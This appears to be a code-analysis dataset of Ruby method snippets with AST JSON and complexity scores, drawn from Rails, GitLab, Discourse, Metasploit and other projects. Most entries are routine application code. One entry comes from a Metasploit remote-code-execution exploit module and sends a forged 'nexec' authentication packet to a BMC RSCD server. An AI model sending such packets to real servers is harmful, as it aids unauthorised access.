{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/model/encryption_key.rb","start_line":104,"raw_source":"def encode_value\n            OpenSSL::ASN1::OctetString.new(value)\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"encode_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"ASN1\"]},\"OctetString\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"value\"]}]}]}","id":"5528f421-d82e-418a-ab44-92ac301740fd"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/reloader_test.rb","start_line":107,"raw_source":"def reloader\n      @reloader ||= new_reloader { true }\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"reloader\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@reloader\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_reloader\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"true\",\"children\":[]}]}]}]}","id":"497339b1-a259-4c51-bb9e-22a73dcb2275"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/visits/place_finder.rb","start_line":15,"raw_source":"def find_or_create_place(visit_data)\n      lat = visit_data[:center_lat]\n      lon = visit_data[:center_lon]\n\n      # First check if there's an existing place\n      existing_place = find_existing_place(lat, lon, visit_data[:suggested_name])\n\n      # If we found an exact match, return it\n      if existing_place\n        return {\n          main_place: existing_place,\n          suggested_places: find_suggested_places(lat, lon)\n        }\n      end\n\n      # Get potential places from all sources\n      potential_places = collect_potential_places(visit_data)\n\n      # Find or create the main place\n      main_place = select_or_create_main_place(potential_places, lat, lon, visit_data[:suggested_name])\n\n      # Get suggested places including our main place\n      all_suggested_places = potential_places.presence || [main_place]\n\n      {\n        main_place: main_place,\n        suggested_places: all_suggested_places.uniq(&:name)\n      }\n    end","complexity_score":19.8,"ast_json":"{\"type\":\"def\",\"children\":[\"find_or_create_place\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"visit_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"lat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"visit_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"center_lat\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"lon\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"visit_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"center_lon\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"existing_place\",{\"type\":\"send\",\"children\":[null,\"find_existing_place\",{\"type\":\"lvar\",\"children\":[\"lat\"]},{\"type\":\"lvar\",\"children\":[\"lon\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"visit_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"suggested_name\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_place\"]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"main_place\"]},{\"type\":\"lvar\",\"children\":[\"existing_place\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"suggested_places\"]},{\"type\":\"send\",\"children\":[null,\"find_suggested_places\",{\"type\":\"lvar\",\"children\":[\"lat\"]},{\"type\":\"lvar\",\"children\":[\"lon\"]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"potential_places\",{\"type\":\"send\",\"children\":[null,\"collect_potential_places\",{\"type\":\"lvar\",\"children\":[\"visit_data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"main_place\",{\"type\":\"send\",\"children\":[null,\"select_or_create_main_place\",{\"type\":\"lvar\",\"children\":[\"potential_places\"]},{\"type\":\"lvar\",\"children\":[\"lat\"]},{\"type\":\"lvar\",\"children\":[\"lon\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"visit_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"suggested_name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"all_suggested_places\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"potential_places\"]},\"presence\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"main_place\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"main_place\"]},{\"type\":\"lvar\",\"children\":[\"main_place\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"suggested_places\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_suggested_places\"]},\"uniq\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}]}]}","id":"a1ea40d7-90b7-4002-a18a-3ebd94b78a9f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/members/creator_service.rb","start_line":286,"raw_source":"def existing_members\n      args[:existing_members] || {}\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"existing_members\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"existing_members\"]}]},{\"type\":\"hash\",\"children\":[]}]}]}","id":"a97eb714-a78c-4d37-96bd-fa8547c6864f"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/app/controllers/api/v1/reports_controller.rb","start_line":22,"raw_source":"def report_params\n        params.permit(:type, :time_period, :metric, connector_ids: []).merge(workspace: current_workspace)\n      end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"report_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"time_period\"]},{\"type\":\"sym\",\"children\":[\"metric\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"connector_ids\"]},{\"type\":\"array\",\"children\":[]}]}]}]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace\"]},{\"type\":\"send\",\"children\":[null,\"current_workspace\"]}]}]}]}]}","id":"853f98e6-1e56-4a48-b8b8-a36aa712e13e"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/work_packages/delete_service.rb","start_line":53,"raw_source":"def destroy_descendants(descendants, result)\n    descendants.each do |descendant|\n      success = destroy(descendant.reload)\n      result.add_dependent!(ServiceResult.new(success:, result: descendant))\n    end\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy_descendants\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"descendants\"]},{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"descendants\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"descendant\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"success\",{\"type\":\"send\",\"children\":[null,\"destroy\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"descendant\"]},\"reload\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"add_dependent!\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResult\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"lvar\",\"children\":[\"success\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"result\"]},{\"type\":\"lvar\",\"children\":[\"descendant\"]}]}]}]}]}]}]}]}","id":"a9e8fd29-c467-4593-8a17-183c42e4e09a"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/tag_helper_test.rb","start_line":102,"raw_source":"def test_tag_builder_options_accepts_false_option\n    assert_equal \"<p value=\\\"false\\\"></p>\", tag.p(value: false)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_tag_builder_options_accepts_false_option\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"<p value=\\\"false\\\"></p>\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tag\"]},\"p\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"dac9b695-7a3a-4394-8e1d-7b573c0b2377"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_tag_helper_test.rb","start_line":1079,"raw_source":"def with_prepend_content_exfiltration_prevention(value)\n      old_value = ActionView::Helpers::ContentExfiltrationPreventionHelper.prepend_content_exfiltration_prevention\n      ActionView::Helpers::ContentExfiltrationPreventionHelper.prepend_content_exfiltration_prevention = value\n\n      yield\n    ensure\n      ActionView::Helpers::ContentExfiltrationPreventionHelper.prepend_content_exfiltration_prevention = old_value\n    end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"with_prepend_content_exfiltration_prevention\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old_value\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"Helpers\"]},\"ContentExfiltrationPreventionHelper\"]},\"prepend_content_exfiltration_prevention\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"Helpers\"]},\"ContentExfiltrationPreventionHelper\"]},\"prepend_content_exfiltration_prevention=\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"Helpers\"]},\"ContentExfiltrationPreventionHelper\"]},\"prepend_content_exfiltration_prevention=\",{\"type\":\"lvar\",\"children\":[\"old_value\"]}]}]}]}","id":"8a360faf-5ad3-491d-9f08-47f8b0de8267"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/system/broadcast_message.rb","start_line":138,"raw_source":"def matches_current_user_access_level?(user_access_level)\n      return true unless target_access_levels.present?\n\n      target_access_levels.include? user_access_level\n    end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"matches_current_user_access_level?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_access_level\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_access_levels\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_access_levels\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"user_access_level\"]}]}]}]}","id":"63f1cbe6-c7c3-41d5-87ee-8c99600a8ded"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb","start_line":665,"raw_source":"def foreign_tables\n          query_values(data_source_sql(type: \"FOREIGN TABLE\"), \"SCHEMA\")\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"foreign_tables\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"query_values\",{\"type\":\"send\",\"children\":[null,\"data_source_sql\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"FOREIGN TABLE\"]}]}]}]},{\"type\":\"str\",\"children\":[\"SCHEMA\"]}]}]}","id":"3a1cf3b5-9ecb-46ae-83f4-4b7d75f90b1f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/issues_finder/params.rb","start_line":9,"raw_source":"def filter_by_no_due_date?\n      due_date? && params[:due_date] == Issue::NoDueDate.name\n    end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_by_no_due_date?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"due_date?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"due_date\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Issue\"]},\"NoDueDate\"]},\"name\"]}]}]}]}","id":"df793f75-f5e1-4912-970b-2e5faaf05217"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/db/migrate/20250506000950_add_tenant_to_taggings.acts_as_taggable_on_engine.rb","start_line":7,"raw_source":"def self.up\n    add_column ActsAsTaggableOn.taggings_table, :tenant, :string, limit: 128\n    add_index ActsAsTaggableOn.taggings_table, :tenant, algorithm: :concurrently unless index_exists? ActsAsTaggableOn.taggings_table, :tenant\n  end","complexity_score":8.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActsAsTaggableOn\"]},\"taggings_table\"]},{\"type\":\"sym\",\"children\":[\"tenant\"]},{\"type\":\"sym\",\"children\":[\"string\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[128]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"index_exists?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActsAsTaggableOn\"]},\"taggings_table\"]},{\"type\":\"sym\",\"children\":[\"tenant\"]}]},null,{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActsAsTaggableOn\"]},\"taggings_table\"]},{\"type\":\"sym\",\"children\":[\"tenant\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]}]}]}]}]}]}","id":"f6970a1a-2829-4781-a536-9e88134b1159"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/regexp_literal.rb","start_line":213,"raw_source":"def inner_slash_for(opening_delimiter)\n          if ['/', '%r/'].include?(opening_delimiter)\n            '\\/'\n          else\n            '/'\n          end\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"inner_slash_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opening_delimiter\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"str\",\"children\":[\"%r/\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"opening_delimiter\"]}]},{\"type\":\"str\",\"children\":[\"\\\\/\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}","id":"7bb5d5c1-80ae-4847-923f-1c25353b5ad4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/system_check/app/gitlab_config_exists_check.rb","start_line":8,"raw_source":"def check?\n        gitlab_config_file = Rails.root.join('config', 'gitlab.yml')\n\n        File.exist?(gitlab_config_file)\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"check?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"gitlab_config_file\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},\"join\",{\"type\":\"str\",\"children\":[\"config\"]},{\"type\":\"str\",\"children\":[\"gitlab.yml\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"gitlab_config_file\"]}]}]}]}","id":"a70a3dcb-41d3-49ad-b978-31e2f306fb6a"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/google_groups.rb","start_line":142,"raw_source":"def crawl_message(url, might_be_deleted)\n  get(url)\n\n  filename = File.join(@path, \"#{url[%r{#{@groupname}/(.+)}, 1].sub(\"/\", \"-\")}.eml\")\n  content = find(\"pre\")[\"innerText\"]\n\n  if !@first_message_checked\n    @first_message_checked = true\n\n    exit_with_error(<<~TEXT.red.bold) if content.match?(/From:.*\\.\\.\\.@.*/i) && !@force_import\n        It looks like you do not have permissions to see email addresses. Aborting.\n        Use the --force option to import anyway.\n      TEXT\n  end\n\n  old_md5 = Digest::MD5.file(filename) if File.exist?(filename)\n  File.write(filename, content)\n\n  old_md5 ? old_md5 != Digest::MD5.file(filename) : true\nrescue Selenium::WebDriver::Error::NoSuchElementError\n  if might_be_deleted\n    puts \"Message might be deleted. Skipping #{url}\"\n  else\n    puts \"Failed to scrape message at #{url}\".red\n    raise if @abort_on_error\n  end\nrescue StandardError\n  puts \"Failed to scrape message at #{url}\".red\n  raise if @abort_on_error\nend","complexity_score":49.25,"ast_json":"{\"type\":\"def\",\"children\":[\"crawl_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]},{\"type\":\"arg\",\"children\":[\"might_be_deleted\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"lvasgn\",\"children\":[\"filename\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"ivar\",\"children\":[\"@path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"[]\",{\"type\":\"regexp\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@groupname\"]}]},{\"type\":\"str\",\"children\":[\"/(.+)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"int\",\"children\":[1]}]},\"sub\",{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"str\",\"children\":[\"-\"]}]}]},{\"type\":\"str\",\"children\":[\".eml\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\"pre\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"innerText\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@first_message_checked\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@first_message_checked\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"match?\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"From:.*\\\\.\\\\.\\\\.@.*\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@force_import\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"exit_with_error\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"It looks like you do not have permissions to see email addresses. Aborting.\\n\"]},{\"type\":\"str\",\"children\":[\"Use the --force option to import anyway.\\n\"]}]},\"red\"]},\"bold\"]}]},null]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"lvasgn\",\"children\":[\"old_md5\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"MD5\"]},\"file\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"filename\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_md5\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_md5\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"MD5\"]},\"file\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Selenium\"]},\"WebDriver\"]},\"Error\"]},\"NoSuchElementError\"]}]},null,{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"might_be_deleted\"]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Message might be deleted. Skipping \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to scrape message at \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]}]}]},\"red\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@abort_on_error\"]},{\"type\":\"send\",\"children\":[null,\"raise\"]},null]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to scrape message at \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]}]}]},\"red\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@abort_on_error\"]},{\"type\":\"send\",\"children\":[null,\"raise\"]},null]}]}]},null]}]}","id":"0103b714-2b51-46a8-934c-e0f6fda320fb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/misc/bmc_server_automation_rscd_nsh_rce.rb","start_line":258,"raw_source":"def send_fake_nexec_auth\n    sock.put(\"\\x00\\x00\\x00\\x5a\\x30\\x30\\x30\\x30\\x30\\x30\\x35\\x32\\x30\\x30\\x30\" \\\n             \"\\x30\\x30\\x30\\x31\\x31\\x36\\x35\\x3b\\x30\\x3b\\x33\\x31\\x3b\\x64\\x61\" \\\n             \"\\x34\\x3b\\x64\\x61\\x34\\x3b\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x33\\x31\" \\\n             \"\\x30\\x3b\\x30\\x3b\\x37\\x3b\" + rand_text_alpha(7) + \"\\x3b\\x35\" \\\n             \"\\x3b\\x6e\\x65\\x78\\x65\\x63\\x3b\\x2d\\x3b\\x2d\\x3b\\x30\\x3b\\x2d\\x3b\" \\\n             \"\\x31\\x3b\\x31\\x3b\\x37\\x3b\" + rand_text_alpha(7) + \"\\x3b\\x55\" \\\n             \"\\x54\\x46\\x2d\\x38\")\n    sock.get_once\n  end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"send_fake_nexec_auth\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\u0000\\u0000\\u0000Z00000052000\"]},{\"type\":\"str\",\"children\":[\"0001165;0;31;da\"]},{\"type\":\"str\",\"children\":[\"4;da4;000000031\"]},{\"type\":\"str\",\"children\":[\"0;0;7;\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"int\",\"children\":[7]}]}]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\";5\"]},{\"type\":\"str\",\"children\":[\";nexec;-;-;0;-;\"]},{\"type\":\"str\",\"children\":[\"1;1;7;\"]}]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"int\",\"children\":[7]}]}]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\";U\"]},{\"type\":\"str\",\"children\":[\"TF-8\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\"]}]}]}","id":"cfabfd3a-0a17-4c66-bd49-02b814a343e7"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/js_locale_helper.rb","start_line":280,"raw_source":"def self.find_locale(locale_chain, path, type, fallback_to_english:)\n    locale_chain.map!(&:to_s)\n\n    locale_chain.each do |locale|\n      plugin_locale = DiscoursePluginRegistry.locales[locale]\n      return plugin_locale[type] if plugin_locale&.has_key?(type)\n\n      locale = yield(locale) if block_given?\n      filename = File.join(path, \"#{locale}.js\")\n      return locale, filename if File.exist?(filename)\n    end\n\n    locale_chain.map! { |locale| yield(locale) } if block_given?\n\n    # try again, but this time only with the language itself\n    locale_chain =\n      locale_chain.map { |l| l.split(/[-_]/)[0] }.uniq.reject { |l| locale_chain.include?(l) }\n\n    if locale_chain.any?\n      locale_data = find_locale(locale_chain, path, type, fallback_to_english: false)\n      return locale_data if locale_data\n    end\n\n    # English should always work\n    [\"en\", File.join(path, \"en.js\")] if fallback_to_english\n  end","complexity_score":45.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"find_locale\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"locale_chain\"]},{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"kwarg\",\"children\":[\"fallback_to_english\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locale_chain\"]},\"map!\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locale_chain\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"locale\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"plugin_locale\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscoursePluginRegistry\"]},\"locales\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"locale\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin_locale\"]},\"has_key?\",{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin_locale\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"type\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"lvasgn\",\"children\":[\"locale\",{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locale\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"filename\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]